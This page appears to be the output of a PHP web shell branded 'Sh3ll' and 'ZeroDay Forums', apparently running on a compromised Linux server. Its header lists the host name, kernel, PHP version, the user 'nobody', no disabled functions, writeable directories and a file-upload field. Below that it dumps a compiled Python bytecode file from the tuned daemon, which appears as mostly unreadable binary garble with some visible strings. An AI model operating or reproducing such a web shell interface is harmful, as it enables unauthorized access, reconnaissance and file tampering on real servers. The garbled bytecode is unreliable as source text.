Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/tuned/daemon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/tuned/daemon/controller.pyo
�
+cc@s�ddlmZddlZddlZddlmZddlZddljZddlm	Z	ddl
mZdgZej
j�Zdefd��YZdejjjfd	��YZdS(
i����(texportsN(tTunedException(tcommands(tProfileRecommendert
Controllert
TimerStorecBs,eZd�Zd�Zd�Zd�ZRS(cCst�|_tj�|_dS(N(tdictt_timerst	threadingtLockt_timers_lock(tself((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyt__init__scCs!|j�||j|<WdQXdS(N(R
R(Rttokenttimer((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytstore_timers
cCsC|j�4y%|j|}|j�|j|=WnnXWdQXdS(N(R
Rtcancel(RR
R((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyt
drop_timers


cCsE|j�6x!|jj�D]}|j�qW|jj�WdQXdS(N(R
RtvaluesRtclear(RR((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyt
cancel_all s
(t__name__t
__module__RRRR(((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyRs				cBs�eZdZd�Zd�Zd�Zejd�d��Zd�Z	ej
dd�d'd	��Zej
dd�d'd
��Z
ej
dd�d'd
��Zej
dd�d'd��Zej
dd�d'd��Zd�Zej
dd�d'd��Zej
dd�d'd��Zej
dd�d'd��Zej
dd�d'd��Zej
dd�d'd��Zej
dd�d'd��Zej
dd�d'd��Zej
dd�d'd��Zej
dd�d'd��Zej
dd�d'd��Zej
dd�d'd ��Zej
dd�d'd!��Zej
dd"�d'd#��Zej
dd�d'd$��Zej
dd%�d'd&��Z RS((s�
	Controller's purpose is to keep the program running, start/stop the tuning,
	and export the controller interface (currently only over D-Bus).
	cCsPtt|�j�||_||_tj�|_t�|_	t
�|_dS(N(tsuperRRt_daemont_global_configRtEventt
_terminateRt_cmdRt_timer_store(Rtdaemont
global_config((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyR,s		cCs�tjd�|j�}|jjtjtj�}|rN|rNtj�n|r�|j	j
�x|jj|j	d�sqdWntjd�|j
�dS(s1
		Controller main loop. The call is blocking.
		sstarting controlleristerminating controllerN(tlogtinfotstartRtget_booltconstst
CFG_DAEMONtCFG_DEF_DAEMONRRRRtwaittstop(RtresR((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytrun4s




cCs|jj�dS(N(Rtset(R((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyt	terminateGstsbscCsdS(N((Rtprofile_nametresultterrstr((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytprofile_changedJscCs$tjj|�|jj|�dS(N(ttunedtlogstlog_capture_finishRR(RR
((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyt_log_capture_abortSstiitscCs�|dkrdStjj|�}|dkr2dS|dkr|tj||jd|g�}|jj||�|j	�n|dkr�dS|S(Ntitargs(
R2R3tlog_capture_starttNoneRtTimerR5RRR"(Rt	log_levelttimeouttcallerR
R((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyR:Ws	
cCsF|dkrdStjj|�}|jj|�|dkrBdS|S(NR8(R2R3R4RRR;(RR
R?R)((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyR4es
R8tbcCsa|dkrtS|jjtjtj�rT|jj�r>tS|jj	�sTtSn|jj
�S(NR8(tFalseRR#R$R%R&Rt
is_runningtTruet
is_enabledR"(RR?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyR"mscCsH|dkrtS|jj�s(t}n|jj�}|jj�|S(NR8(RARRBRCR(RR(RR?R)((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyR(xs	
cCs{|dkrtS|jj�r8|j�}|s8tSny|jj�Wn%tk
rp}tjd|�tSX|j�S(NR8sFailed to reload Tuned: %s(	RARRBR(treload_profile_configRR terrorR"(RR?tstop_okte((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytreload�scCs |jj�}d}t}t}z�y3|rC|jjdt�n|jj||�Wnqtjjk
r�}t}t	|�}|r�|jj
j|kr�tj
d|�t}q�tj
d|�nXWd|r|r�tjd|�n|stjd�n|jj�nX||fS(NtOKtprofile_switchs@Failed to reapply profile '%s'. Did it change on disk and break?sFailed to apply profile '%s's>Applying previously applied (possibly out-dated) profile '%s'.s$Applying previously applied profile.(RRBRCRAR(tset_profileR2t
exceptionsRtstrtprofiletnameR RFtwarnR!R"(RR.tmanualtwas_runningtmsgtsuccesstreapplyRH((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyt_switch_profile�s.	s(bs)cCs&|dkrtdfS|j|t�S(NR8tUnauthorized(RARWRC(RR.R?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytswitch_profile�s
cCs2|dkrtdfS|j�}|j|t�S(NR8RX(RAtrecommend_profileRW(RR?R.((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytauto_profile�s
cCs7|dkrdS|jjdk	r/|jjjSdSdS(NR8(RROR;RP(RR?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytactive_profile�s

s(ss)cCs�|dkrdS|jj}|dkr�y4|jj�\}}|dkr[|dk	}nWq�tk
r�}d}t|�}||fSXn|r�tjntj	}|dfS(NR8tunknownRX(sunknownsUnauthorized(
RRRR;Rtget_active_profileRRNR$tACTIVE_PROFILE_MANUALtACTIVE_PROFILE_AUTO(RR?RRRORHtmodeRF((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytprofile_mode�scCs^|dkrtS|jj�r/|jj�n|jj�rZ|jjdtdt�ntS(NR8tsave_instantly(RARRBR(RDRLR;RC(RR?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytdisable�scCs|dkrtS|jj�S(NR8(RARRB(RR?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyRB�stascCs#|dkrgS|jjjj�S(NR8(Rtprofile_loadertprofile_locatortget_known_names(RR?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytprofiles�ssa(ss)cCs#|dkrgS|jjjj�S(NR8(RRfRgtget_known_names_summary(RR?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyt	profiles2�ss(bsss)cCsw|dkrttddd�S|dks7|dkrF|j�}nt|jjjj|tj	tj
gdg��S(NR8(ttupleRAR;R\RRfRgtget_profile_attrsR$tPROFILE_ATTR_SUMMARYtPROFILE_ATTR_DESCRIPTION(RR.R?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytprofile_info�s
cCs9|dkrdSt�jd|jjtjtj��S(NR8t	hardcoded(Rt	recommendRR#R$tCFG_RECOMMEND_COMMANDtCFG_DEF_RECOMMEND_COMMAND(RR?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyRZ�scCs#|dkrtS|jjdt�S(NR8tignore_missing(RARtverify_profile(RR?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyRv�scCs#|dkrtS|jjdt�S(NR8Ru(RARRvRC(RR?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pytverify_profile_ignore_missingss	a{sa{ss}}cCs�|dkrtSi}x�|jj�D]s}|jjd�djdd�d}|j�}i||<x.|j�D] \}}t|�|||<quWq&W|S(suReturn dictionary with accesible plugins

		Return:
		dictionary -- {plugin_name: {parameter_name: default_value}}
		R8t.i����t_i(RARtget_all_pluginsRtsplitt_get_config_optionstitemsRN(RR?tpluginstplugin_classtplugin_nametconf_optionstkeytval((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyRzs&
cCs&|dkrtS|jjt|��S(s"Return docstring of plugin's classR8(RARtget_plugin_documentationRN(RR�R?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyR�ssa{ss}cCs&|dkrtS|jjt|��S(s�Return dictionary with plugin's parameters and their hints

		Parameters:
		plugin_name -- name of plugin

		Return:
		dictionary -- {parameter_name: hint}
		R8(RARtget_plugin_hintsRN(RR�R?((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyR�$s
N(!RRt__doc__RR*R,RtsignalR1R5texportR;R:R4R"R(RIRWRYR[R\RbRdRBRiRkRpRZRvRwRzR�R�(((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyR&s^					


		(R2Rt
tuned.logsttuned.exceptionsRRttuned.constsR$ttuned.utils.commandsRttuned.utils.profile_recommenderRt__all__R3tgetR tobjectRt
interfacestExportableInterfaceR(((s;/usr/lib/python2.7/site-packages/tuned/daemon/controller.pyt<module>s	

ZeroDay Forums Mini